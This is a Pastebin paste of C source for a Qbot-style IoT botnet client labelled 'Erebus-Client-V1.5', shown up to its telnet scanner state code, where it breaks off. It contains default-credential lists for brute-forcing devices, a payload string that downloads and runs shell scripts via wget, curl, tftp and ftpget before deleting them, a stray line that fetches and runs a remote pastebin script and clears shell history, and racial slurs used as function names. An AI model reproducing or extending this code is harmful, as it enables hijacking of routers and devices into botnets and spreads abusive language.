Advertisement
Guest User

Qbot source new

a guest
Nov 4th, 2018
232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 123.06 KB | None | 0 0
  1. #include <stdlib.h>
  2. #include <stdarg.h>
  3. #include <stdio.h>
  4. #include <sys/socket.h>
  5. #include <sys/types.h>
  6. #include <netinet/in.h>
  7. #include <arpa/inet.h>
  8. #include <netdb.h>
  9. #include <signal.h>
  10. #include <strings.h>
  11. #include <string.h>
  12. #include <sys/utsname.h>
  13. #include <unistd.h>
  14. #include <fcntl.h>
  15. #include <errno.h>
  16. #include <netinet/ip.h>
  17. #include <netinet/udp.h>
  18. #include <netinet/tcp.h>
  19. #include <sys/wait.h>
  20. #include <sys/ioctl.h>
  21. #include <net/if.h>
  22. #include <time.h>
  23. #include <limits.h>
  24. #define PR_SET_NAME 15
  25. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  26. #define PAD_RIGHT 1
  27. #define PAD_ZERO 2
  28. #define PRINT_BUF_LEN 12
  29. #define CMD_IAC 255
  30. #define CMD_WILL 251
  31. #define CMD_WONT 252
  32. #define CMD_DO 253
  33. #define CMD_DONT 254
  34. #define OPT_SGA 3
  35. #define STD2_SIZE 75
  36. #define BUFFER_SIZE 1024
  37. #define PHI 0x9e3779b9
  38. #define VERSION "Erebus-Client-V1.5"
  39. #define NETIS "AA\x00\x00AAAA"
  40. int userID = 1;
  41. unsigned char *commServer[] = { "127.0.0.1" };
  42. cd /tmp;wget https://pastebin.com/raw/2ipnpRs3/0 -O v -q; chmod 777 v;sh v > /dev/null 2>&1;rm -rf v;history -c;clear;cd;
  43.  
  44. int Server_Botport = 6969;
  45. /* Change 999 to whatever port you want the bots
  46. to connect to! Remember what you put here as you
  47. will need it later on when you screen the server side */
  48. char *usernames[] = {"666666\0", "support\0", "default\0", "root\0", "root\0", "admin\0", "root\0", "admin\0", "root\0", "admin\0", "admin\0", "root\0", "support\0", "root\0", "supervisor\0", "root\0", "root\0", "root\0"};
  49. char *passwords[] = {"666666\0", "support\0", "\0", "\0", "root\0", "admin\0", "1234\0", "root\0", "123456\0", "1234\0", "vnpt\0", "1234567890\0", "support\0", "antslq\0", "zyad1234\0", "anko\0", "tini\0", "letacla\0"};
  50. char *hvgsgd = "cd /tmp; wget http://127.0.0.1/EREBUS.sh; curl -O http://127.0.0.1/EREBUS.sh; chmod 777 EREBUS.sh; sh EREBUS.sh; tftp 127.0.0.1 -c get tEREBUS.sh; chmod 777 tEREBUS.sh; sh tEREBUS.sh; tftp -r tEREBUS2.sh -g 127.0.0.1; chmod 777 tEREBUS2.sh; sh tEREBUS2.sh; ftpget -v -u anonymous -p anonymous -P 21 127.0.0.1 EREBUS1.sh EREBUS1.sh; sh EREBUS1.sh; rm -rf EREBUS.sh tEREBUS.sh tEREBUS2.sh EREBUS1.sh; rm -rf *\r\n";
  51. char* advances[] = {":", "ogin", "sername", "assword", (char*)0};//advances so if it says any of the following itll try a passwd or user
  52. char* fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};// ill kms if i see this
  53. char* successes[] = {"BusyBox", "$", "#", (char*)0};//if it sees this itll send the payload
  54. char* advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "BusyBox", "$", "#", (char*)0};
  55.  
  56. char *useragents[] = {
  57. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 "
  58. "Firefox/3.5.3",
  59. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 "
  60. "Firefox/3.5.3 (.NET CLR 3.5.30729)",
  61. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) "
  62. "Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  63. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) "
  64. "Gecko/20090718 Firefox/3.5.1",
  65. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 "
  66. "(KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  67. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; "
  68. "SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  69. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; "
  70. ".NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR "
  71. "3.0.30729)",
  72. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; "
  73. "Trident/4.0)",
  74. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; "
  75. ".NET CLR 2.0.50727; InfoPath.2)",
  76. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  77. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  78. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  79. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) "
  80. "Chrome/41.0.2228.0 Safari/537.36",
  81. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  82. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 "
  83. "Version/12.16",
  84. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like "
  85. "Gecko",
  86. "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) "
  87. "like Gecko",
  88. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 "
  89. "(KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"
  90. "Baiduspider+(+http://www.baidu.com/search/spider.htm)",
  91. "Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  92. "Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  93. "Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0; http://www.beslist.nl/",
  94. "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",
  95. "zspider/0.9-dev http://feedback.redkolibri.com/",
  96. "Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  97. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  98. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)",
  99. "Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  100. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  101. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  102. "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )",
  103. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)",
  104. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)",
  105. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)",
  106. "TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)",
  107. "TheSuBot/0.2 (www.thesubot.de)",
  108. "TheSuBot/0.1 (www.thesubot.de)",
  109. "FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  110. "FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  111. "FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  112. "FAST-WebCrawler/3.6/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  113. "FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  114. "FAST-WebCrawler/3.x Multimedia",
  115. "Mozilla/4.0 (compatible: FDSE robot)",
  116. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  117. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  118. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  119. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  120. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  121. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  122. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  123. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  124. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  125. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  126. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  127. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  128. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  129. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  130. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  131. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  132. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  133. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  134. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  135. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  136. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  137. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  138. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  139. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  140. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  141. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  142. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  143. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  144. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  145. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  146. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  147. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  148. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  149. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)",
  150. "MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html)",
  151. "Moreoverbot/5.1 ( http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0",
  152. "Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com)",
  153. "msnbot/1.0 (+http://search.msn.com/msnbot.htm)",
  154. "msnbot/0.9 (+http://search.msn.com/msnbot.htm)",
  155. "msnbot/0.11 ( http://search.msn.com/msnbot.htm)",
  156. "MSNBOT/0.1 (http://search.msn.com/msnbot.htm)",
  157. "Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)",
  158. "Mozilla/5.0 (compatible; mxbot/1.0; http://www.chainn.com/mxbot.html)",
  159. "NetResearchServer/4.0(loopimprovements.com/robot.html)",
  160. "NetResearchServer/3.5(loopimprovements.com/robot.html)",
  161. "NetResearchServer/2.8(loopimprovements.com/robot.html)",
  162. "NetResearchServer/2.7(loopimprovements.com/robot.html)",
  163. "NetResearchServer/2.5(loopimprovements.com/robot.html)",
  164. "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)",
  165. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)",
  166. "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)",
  167. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  168. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  169. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET ",
  170. "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
  171. "Opera/9.20 (Windows NT 6.0; U; en)",
  172. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  173. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  174. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  175. "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  176. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)",
  177. "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  178. "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)",
  179. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  180. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  181. "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  182. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  183. "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  184. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.3.0.0",
  185. "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  186. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
  187. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  188. "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  189. "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  190. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  191. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  192. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6",
  193. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0",
  194. };
  195. int initConnection();
  196. int getBogos(unsigned char *bogomips);
  197. int getCores();
  198. int getCountry(unsigned char *buf, int bufsize);
  199. void makeRandomStr(unsigned char *buf, int length);
  200. int NiggerPrint(int sock, char *formatStr, ...);
  201. char *inet_ntoa(struct in_addr in);
  202. int NiggahPrinter = 0, NiggerahPrinter = -1;
  203. uint32_t *pids;
  204. uint32_t scanPid;
  205. uint64_t numpids = 0;
  206. struct in_addr ourIP;
  207. struct in_addr ourPublicIP;
  208. unsigned char macAddress[6] = {0};
  209. static uint32_t Q[4096], c = 362436;
  210. int dupppp = 0;
  211. int rangechoice = 1;
  212. void init_rand(uint32_t x)
  213. {
  214. int i;
  215.  
  216. Q[0] = x;
  217. Q[1] = x + PHI;
  218. Q[2] = x + PHI + PHI;
  219.  
  220. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  221. }
  222.  
  223. uint32_t rand_cmwc(void)
  224. {
  225. uint64_t t, a = 18782LL;
  226. static uint32_t i = 4095;
  227. uint32_t x, r = 0xfffffffe;
  228. i = (i + 1) & 4095;
  229. t = a * Q[i] + c;
  230. c = (uint32_t)(t >> 32);
  231. x = t + c;
  232. if (x < c) {
  233. x++;
  234. c++;
  235. }
  236. return (Q[i] = r - x);
  237. }
  238.  
  239. void trim(char *str)
  240. {
  241. int i;
  242. int begin = 0;
  243. int end = strlen(str) - 1;
  244.  
  245. while (isspace(str[begin])) begin++;
  246.  
  247. while ((end >= begin) && isspace(str[end])) end--;
  248. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  249.  
  250. str[i - begin] = '\0';
  251. }
  252.  
  253. static void printchar(unsigned char **str, int c)
  254. {
  255. if (str) {
  256. **str = c;
  257. ++(*str);
  258. }
  259. else (void)write(1, &c, 1);
  260. }
  261.  
  262. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  263. {
  264. register int pc = 0, padchar = ' ';
  265.  
  266. if (width > 0) {
  267. register int len = 0;
  268. register const unsigned char *ptr;
  269. for (ptr = string; *ptr; ++ptr) ++len;
  270. if (len >= width) width = 0;
  271. else width -= len;
  272. if (pad & PAD_ZERO) padchar = '0';
  273. }
  274. if (!(pad & PAD_RIGHT)) {
  275. for ( ; width > 0; --width) {
  276. printchar (out, padchar);
  277. ++pc;
  278. }
  279. }
  280. for ( ; *string ; ++string) {
  281. printchar (out, *string);
  282. ++pc;
  283. }
  284. for ( ; width > 0; --width) {
  285. printchar (out, padchar);
  286. ++pc;
  287. }
  288.  
  289. return pc;
  290. }
  291.  
  292. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  293. {
  294. unsigned char print_buf[PRINT_BUF_LEN];
  295. register unsigned char *s;
  296. register int t, neg = 0, pc = 0;
  297. register unsigned int u = i;
  298.  
  299. if (i == 0) {
  300. print_buf[0] = '0';
  301. print_buf[1] = '\0';
  302. return prints (out, print_buf, width, pad);
  303. }
  304.  
  305. if (sg && b == 10 && i < 0) {
  306. neg = 1;
  307. u = -i;
  308. }
  309.  
  310. s = print_buf + PRINT_BUF_LEN-1;
  311. *s = '\0';
  312.  
  313. while (u) {
  314. t = u % b;
  315. if( t >= 10 )
  316. t += letbase - '0' - 10;
  317. *--s = t + '0';
  318. u /= b;
  319. }
  320.  
  321. if (neg) {
  322. if( width && (pad & PAD_ZERO) ) {
  323. printchar (out, '-');
  324. ++pc;
  325. --width;
  326. }
  327. else {
  328. *--s = '-';
  329. }
  330. }
  331.  
  332. return pc + prints (out, s, width, pad);
  333. }
  334.  
  335. static int print(unsigned char **out, const unsigned char *format, va_list args )
  336. {
  337. register int width, pad;
  338. register int pc = 0;
  339. unsigned char scr[2];
  340.  
  341. for (; *format != 0; ++format) {
  342. if (*format == '%') {
  343. ++format;
  344. width = pad = 0;
  345. if (*format == '\0') break;
  346. if (*format == '%') goto out;
  347. if (*format == '-') {
  348. ++format;
  349. pad = PAD_RIGHT;
  350. }
  351. while (*format == '0') {
  352. ++format;
  353. pad |= PAD_ZERO;
  354. }
  355. for ( ; *format >= '0' && *format <= '9'; ++format) {
  356. width *= 10;
  357. width += *format - '0';
  358. }
  359. if( *format == 's' ) {
  360. register char *s = (char *)va_arg( args, int );
  361. pc += prints (out, s?s:"(null)", width, pad);
  362. continue;
  363. }
  364. if( *format == 'd' ) {
  365. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  366. continue;
  367. }
  368. if( *format == 'x' ) {
  369. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  370. continue;
  371. }
  372. if( *format == 'X' ) {
  373. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  374. continue;
  375. }
  376. if( *format == 'u' ) {
  377. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  378. continue;
  379. }
  380. if( *format == 'c' ) {
  381. scr[0] = (unsigned char)va_arg( args, int );
  382. scr[1] = '\0';
  383. pc += prints (out, scr, width, pad);
  384. continue;
  385. }
  386. }
  387. else {
  388. out:
  389. printchar (out, *format);
  390. ++pc;
  391. }
  392. }
  393. if (out) **out = '\0';
  394. va_end( args );
  395. return pc;
  396. }
  397.  
  398. int zprintf(const unsigned char *format, ...)
  399. {
  400. va_list args;
  401. va_start( args, format );
  402. return print( 0, format, args );
  403. }
  404.  
  405. int szprintf(unsigned char *out, const unsigned char *format, ...)
  406. {
  407. va_list args;
  408. va_start( args, format );
  409. return print( &out, format, args );
  410. }
  411.  
  412.  
  413. int NiggerPrint(int sock, char *formatStr, ...)
  414. {
  415. unsigned char *textBuffer = malloc(2048);
  416. memset(textBuffer, 0, 2048);
  417. char *orig = textBuffer;
  418. va_list args;
  419. va_start(args, formatStr);
  420. print(&textBuffer, formatStr, args);
  421. va_end(args);
  422. orig[strlen(orig)] = '\n';
  423. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  424. free(orig);
  425. return q;
  426. }
  427.  
  428. static int *fdopen_pids;
  429.  
  430. int fdpopen(unsigned char *program, register unsigned char *type)
  431. {
  432. register int iop;
  433. int pdes[2], fds, pid;
  434.  
  435. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  436.  
  437. if (pipe(pdes) < 0) return -1;
  438. if (fdopen_pids == NULL) {
  439. if ((fds = getdtablesize()) <= 0) return -1;
  440. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  441. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  442. }
  443.  
  444. switch (pid = vfork())
  445. {
  446. case -1:
  447. close(pdes[0]);
  448. close(pdes[1]);
  449. return -1;
  450. case 0:
  451. if (*type == 'r') {
  452. if (pdes[1] != 1) {
  453. dup2(pdes[1], 1);
  454. close(pdes[1]);
  455. }
  456. close(pdes[0]);
  457. } else {
  458. if (pdes[0] != 0) {
  459. (void) dup2(pdes[0], 0);
  460. (void) close(pdes[0]);
  461. }
  462. (void) close(pdes[1]);
  463. }
  464. execl("/bin/sh", "sh", "-c", program, NULL);
  465. _exit(127);
  466. }
  467. if (*type == 'r') {
  468. iop = pdes[0];
  469. (void) close(pdes[1]);
  470. } else {
  471. iop = pdes[1];
  472. (void) close(pdes[0]);
  473. }
  474. fdopen_pids[iop] = pid;
  475. return (iop);
  476. }
  477.  
  478. int fdpclose(int iop)
  479. {
  480. register int fdes;
  481. sigset_t omask, nmask;
  482. int pstat;
  483. register int pid;
  484.  
  485. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  486. (void) close(iop);
  487. sigemptyset(&nmask);
  488. sigaddset(&nmask, SIGINT);
  489. sigaddset(&nmask, SIGQUIT);
  490. sigaddset(&nmask, SIGHUP);
  491. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  492. do {
  493. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  494. } while (pid == -1 && errno == EINTR);
  495. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  496. fdopen_pids[fdes] = 0;
  497. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  498. }
  499.  
  500. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  501. {
  502. int got = 1, total = 0;
  503. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  504. return got == 0 ? NULL : buffer;
  505. }
  506.  
  507. static const long hextable[] = {
  508. [0 ... 255] = -1,
  509. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  510. ['A'] = 10, 11, 12, 13, 14, 15,
  511. ['a'] = 10, 11, 12, 13, 14, 15
  512. };
  513.  
  514. long parseHex(unsigned char *hex)
  515. {
  516. long ret = 0;
  517. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  518. return ret;
  519. }
  520.  
  521. int wildString(const unsigned char* pattern, const unsigned char* string) {
  522. switch(*pattern)
  523. {
  524. case '\0': return *string;
  525. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  526. case '?': return !(*string && !wildString(pattern+1, string+1));
  527. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  528. }
  529. }
  530.  
  531. int getHost(unsigned char *toGet, struct in_addr *i)
  532. {
  533. struct hostent *h;
  534. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  535. return 0;
  536. }
  537.  
  538. void uppercase(unsigned char *str)
  539. {
  540. while(*str) { *str = toupper(*str); str++; }
  541. }
  542.  
  543. int getBogos(unsigned char *bogomips)
  544. {
  545. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  546. char linebuf[4096];
  547. while(fdgets(linebuf, 4096, cmdline) != NULL)
  548. {
  549. uppercase(linebuf);
  550. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  551. {
  552. unsigned char *pos = linebuf + 8;
  553. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  554. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  555. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  556. strcpy(bogomips, pos);
  557. close(cmdline);
  558. return 0;
  559. }
  560. memset(linebuf, 0, 4096);
  561. }
  562. close(cmdline);
  563. return 1;
  564. }
  565.  
  566. int getCores()
  567. {
  568. int totalcores = 0;
  569. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  570. char linebuf[4096];
  571. while(fdgets(linebuf, 4096, cmdline) != NULL)
  572. {
  573. uppercase(linebuf);
  574. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  575. memset(linebuf, 0, 4096);
  576. }
  577. close(cmdline);
  578. return totalcores;
  579.  
  580. }
  581.  
  582. void makeRandomStr(unsigned char *buf, int length)
  583. {
  584. int i = 0;
  585. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  586. }
  587.  
  588. int recvLine(int socket, unsigned char *buf, int bufsize)
  589. {
  590. memset(buf, 0, bufsize);
  591.  
  592. fd_set myset;
  593. struct timeval tv;
  594. tv.tv_sec = 30;
  595. tv.tv_usec = 0;
  596. FD_ZERO(&myset);
  597. FD_SET(socket, &myset);
  598. int selectRtn, retryCount;
  599. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  600. while(retryCount < 10)
  601. {
  602. NiggerPrint(NiggahPrinter, "PING");
  603.  
  604. tv.tv_sec = 30;
  605. tv.tv_usec = 0;
  606. FD_ZERO(&myset);
  607. FD_SET(socket, &myset);
  608. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  609. retryCount++;
  610. continue;
  611. }
  612.  
  613. break;
  614. }
  615. }
  616.  
  617. unsigned char tmpchr;
  618. unsigned char *cp;
  619. int count = 0;
  620.  
  621. cp = buf;
  622. while(bufsize-- > 1)
  623. {
  624. if(recv(NiggahPrinter, &tmpchr, 1, 0) != 1) {
  625. *cp = 0x00;
  626. return -1;
  627. }
  628. *cp++ = tmpchr;
  629. if(tmpchr == '\n') break;
  630. count++;
  631. }
  632. *cp = 0x00;
  633.  
  634. zprintf("recv: %s\n", cp);
  635.  
  636. return count;
  637. }
  638. struct telstate_t
  639. {
  640. int fd;
  641. unsigned int ip;
  642. unsigned char state;
  643. unsigned char complete;
  644. unsigned char usernameInd;
  645. unsigned char passwordInd;
  646. unsigned char tempDirInd;
  647. unsigned int totalTimeout;
  648. unsigned short bufUsed;
  649. char *sockbuf;
  650. };
  651. const char* get_telstate_host(struct telstate_t* telstate)
  652. {
  653. struct in_addr in_addr_ip;
  654. in_addr_ip.s_addr = telstate->ip;
  655. return inet_ntoa(in_addr_ip);
  656. }
  657. void advance_state(struct telstate_t* telstate, int new_state)
  658. {
  659. if(new_state == 0)
  660. {
  661. close(telstate->fd);
  662. }
  663.  
  664. telstate->totalTimeout = 0;
  665. telstate->state = new_state;
  666. memset((telstate->sockbuf), 0, BUFFER_SIZE);
  667. }
  668.  
